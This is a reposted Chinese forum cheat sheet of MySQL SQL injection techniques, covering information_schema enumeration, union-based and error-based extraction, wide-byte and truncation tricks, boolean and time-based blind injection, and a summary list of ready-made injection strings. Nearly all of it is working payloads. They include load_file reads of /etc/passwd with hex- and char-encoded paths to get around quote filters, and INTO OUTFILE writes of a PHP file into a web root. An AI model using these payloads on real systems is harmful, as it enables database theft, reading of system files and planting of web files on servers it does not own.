|
本帖最后由 Jumbo 于 2016-6-3 15:24 编辑
转载备份
1、Mysql中的注释符
- #:注释从#字符到行尾,记得url编码
- –:注释从–序列到行尾,后面需要跟上一个或多个空格,tab也可以
- /* */:注释中间的字符
复制代码
2、获取元数据
- select schema_name from information_schema.schemata limit 0,1 #查询数据库
- select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
- select table_name from information_schema.tables where table_schema='bloodzer0' limit 0,1;
- select table_name from information_schema.tables where table_schema=(select database()) limit 0,1;
- select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列
复制代码 3、union查询
- select id,username from users union select 1,2; #mysql执行:语句正常;mssql执行:语句错误,数据类型不匹配,无法正常执行
- select id,username from users union select 1,2 from dual; #oracle执行:语句错误,数据类型不匹配
复制代码 4、MySQL函数利用
- select * from users union select 1,load_file('/etc/passwd'),3;
- select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制
- select * from users union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3;
- select * from users union select 1,hex(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),3;
复制代码- select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
- select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
复制代码
concat()函数
- select username from users where id=1 union select concat(user(),',',database(),',',version());
复制代码 concat_ws()函数
- select username from users where id=1 union select concat_ws(0x2c,user(),database(),version());
复制代码
- length 返回字符串长度
- substring 截取字符串长度
- acsii 返回ascii编码
- hex 把字符串转换为16进制
- now 当前系统时间
- unhex hex的反向操作
- floor(x) 返回不大于x的最大正整数
- md5 返回md5值
- group_concat 返回带有来自一个组的连接的非NULL值的字符串结果
- @@datadir 数据目录
- @@basedir mysql安装目录
- @@version_compile_os 操作系统
复制代码 5、报错注入
- select username,password from users where id=1 and updatexml(1,concat(0x7c,(select user())),1);
复制代码
- select * from users where id=1 and extractvalue(1,concat(0x7c,(select user())));
复制代码[url=http://7xost7.com1.z0.glb.clouddn.com/wp-content/uploads/2016/05/32.png]
- select username,password from users where id=1 union select * from (select count(*),concat(floor(rand()*2),(select user())) a from information_schema.tables group by a)b;
复制代码
6、宽字节注入
由于编码不统一所造成的,一般只出现在php+mysql中。网页编码是gbk
由%d5或%df绕过:
[url=http://7xost7.com1.z0.glb.clouddn.com/wp-content/uploads/2016/05/34.png]
7、MySQL长字符截取
在mysql中有一个设置是sql_mode选项,当sql_mode设置为default时,没有开启strict_all_tables选项,对于插入超长的值只会提示warning,而不是error;特定的mysql版本mysql5.1中
[url=http://7xost7.com1.z0.glb.clouddn.com/wp-content/uploads/2016/05/35.png]
my.ini文件
8、延时注入
- select * from users where id=1 and if(length(user())=14,sleep(3),1);
- select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
复制代码 注入语句总结
- 常规注入:
- 1' order by num --+ 判断字段长度
- 1' union select 1,2,3 --+ 确认字段数
- 1' and 1=2 union select 1,2,3 --+ 判断出错的字段位置 或者使用错误的id值-1或不存在的id
- 1' and 1=2 union select version(),database(),user(),current_user,@@datadir,@basedir --+
- 1' and 1=2 union select 1,table_schema,3 from information_schema.SCHEMATA --+
- 1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="db_name"/database()/16进制 limit 0,1 --+
- 1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name="table_name" limit 0,1 --+
- 1' and 1=2 union select 1,group_conct(table_name) from information_schema.tables where table_schema=database() --+
- -1' union select 1,2,3 AND '1'='1 不适用注释符
复制代码- 双查询注入
- select database();
- select (select database());
- select concat((select database()));
- select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
- select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a;
- select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
- select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
- select count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
- select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
- 1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
- BOOL盲注:
- 1' AND (ascii(substr((select database()),1,1))) = 99 --+
- 1' AND (ascii(substr((select table_name from information_schema.tables limit 0,1),1,1)))>100 --+
- TIME盲注:
- 1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) --+
- Dump file:
- select * from table_name into outfile "/tmp/test.txt";
- select * from table_name into dumpfile "/tmp/test.txt";
- select load_file("/tmp/test.txt");
复制代码 附件:
[url=https://yunpan.cn/cSHFYExc5x2Ea]https://yunpan.cn/cSHFYExc5x2Ea (提取码:656b)
|
|